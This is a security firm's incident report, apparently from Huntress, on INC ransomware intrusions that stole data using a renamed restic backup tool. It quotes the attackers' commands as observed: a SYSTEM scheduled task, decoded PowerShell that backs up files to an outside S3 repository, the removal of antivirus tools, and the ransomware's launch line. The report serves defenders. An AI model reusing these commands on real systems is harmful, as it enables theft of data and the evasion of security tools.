Data Exfiltration and Threat Actor Infrastructure Exposed

Acknowledgements: Special thanks to Amelia Casley, Anton Ovrutsky, Jamie Dumas, Josh Allman, and Michael Tigges for their work in triaging and investigating these incidents. 

Huntress SOC analysts have seen a great deal of the different approaches threat actors take to stage and exfiltrate sensitive data from environments they’ve compromised. Data staging will often occur through the installation and use of applications such as WinZip, 7Zip, or even the native Windows utility tar.exe. While data staging is generally considered a predicate action to exfiltration, a variety of issues may hamper direct visibility into that particular activity, such as limited deployment of the Huntress agent, or the threat actor using an exfiltration method that does not create new processes. We have, however, observed data exfiltration via the native Windows utility finger.exe, as well as via backup utilities such as restic, BackBlaze, and s5cmd. 

On 25 February 2026, Huntress SOC analysts reported on INC ransomware being deployed within a customer’s infrastructure. Upon closer inspection, analysts determined that the Huntress agent was not completely deployed across that infrastructure, inhibiting visibility and obviating early detection. In addition, the customer was not using SIEM, so earlier detection of threat actor activity was also obviated. 

In this incident, a thorough investigation revealed that the threat actor had accessed the reported endpoint on 24 February, during which they mapped a share to the endpoint (as the F:\ volume), launched the MS-provided utility PSEXEC to elevate their privileges, and then created the Recovery Diagnostics scheduled task to run C:\Users\Public\Documents\new.ps1. The command line for that scheduled task appears as follows:

"C:\Windows\system32\schtasks.exe" /create /sc once /tn "Recovery Diagnostics" /tr "powershell.exe -file C:\Users\Public\Documents\new.ps1" /st 02:30 /ru system

Following the creation of the scheduled task, a base64-encoded PowerShell command is run, and when decoded, that command appears as follows:

$env:AWS_ACCESS_KEY_ID=[REDACTED]
$env:AWS_SECRET_ACCESS_KEY=[REDACTED]
$env:RESTIC_REPOSITORY='s3:s3.wasabisys.com/[REDACTED]
$env:RESTIC_PASSWORD='password'
c:\windows\system32\winupdate.exe init  

Note three items of interest from the above command…the first being that the RESTIC_PASSWORD value is not redacted. What appears is, in fact, the password employed. The second item of interest is the redacted portion of the RESTIC_REPOSITORY variable refers to the targeted environment/domain.

The third item of interest is that the file winupdate.exe is a renamed copy of restic.exe, a freely available backup utility. 

Shortly thereafter, another base64-encoded PowerShell command was run, and when decoded, was similar to the above command. The one exception was the final line in the command, which appeared as follows:

c:\windows\system32\winupdate.exe backup --files-from C:\Users\Public\Documents\new.txt

Huntress analysts were unable to retrieve a copy of the file new.txt before the endpoint was taken offline; however, assuming the file contained a list of files to be backed up, the nature of the command itself would likely have required prior access to or knowledge of the infrastructure.

These base64-encoded commands appear in event ID 600 records within the Windows PowerShell Event Log; however, other legitimate RMM and security tools also use base64-encoded PowerShell commands that appear in the same records.

Then, on 25 February, the threat actor again logged in and ran C:\123\edr.exe, and then shortly thereafter ran the VIPRE Business AgentAgentUninstallPassword.exe utility to uninstall and remove the agent. Then the following message appeared in the Windows Event Log:

SecurityCenter/15;VIPRE Business Agent,SECURITY_PRODUCT_STATE_OFF

This was then followed by MsiInstaller and System Restore messages in the Windows Event Log indicating that the VIPRE Business Agent was removed from the endpoint. 

The threat actor then disabled Windows Defender by disabling Real-Time Protection, as evidenced by the following two Windows Event Log messages:

Microsoft-Windows-Windows Defender/5001;Microsoft Defender Antivirus,4.18.26010.5
SecurityCenter/15;Windows Defender,SECURITY_PRODUCT_STATE_SNOOZED

At this point, the threat actor had clearly modified the environment to meet their needs and launched the INC ransomware executable:

c:\perflogs\win.exe  --sup --hide --mode medium 

In addition to the creation of the INC-README.txt ransom notes on the endpoint, a timeline of system activity showed a proliferation of Microsoft-Windows-RestartManager/10000 messages, which is also associated with other ransomware variants/families (such as Akira) that use the RestartManager API to encrypt locked files. 

In this incident, Huntress analysts were not able to determine the initial access vector, as the agent was not fully deployed across the customer’s infrastructure. In addition, the customer was not using SIEM, where the threat actor’s initial attempts to enter the infrastructure could have been detected. 

Huntress analysts had observed another incident on 9 February, where Restic was also used, in a remarkably similar manner as was observed in this incident. During that incident, the threat actor also used base64-encoded PowerShell commands to push the Restic configuration and run follow-on commands. In this prior incident, the decoded command appeared as follows:

$env:AWS_ACCESS_KEY_ID=[REDACTED]
$env:AWS_SECRET_ACCESS_KEY=[REDACTED]
$env:RESTIC_REPOSITORY='s3:s3.wasabisys.com[REDACTED]
$env:RESTIC_PASSWORD='password'
c:\windows\system32\winupdate.exe backup --files-from C:\Users\Public\Documents\new.txt

In this prior incident, the AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY variables were identical to what was observed during the more recent incident. Also, the redacted portion of the RESTIC_REPOSITORY variable similarly referred to the targeted environment.

In that prior incident, the threat actor had run the HRSword utility to disable security tooling on the endpoint, specifically the Acronis Management Agent Core Service and the Acronis Active Protection Service. Huntress’s response to that incident obviated further activity, which could have included ransomware deployment.

Interestingly enough, Huntress is not the only team to have seen, responded to, and documented this activity. On 22 January 2026, the Cyber Centaurs team published their findings based on activity that is remarkably similar to the 25 February report from the Huntress SOC. 

Indicators of compromise (IOCs)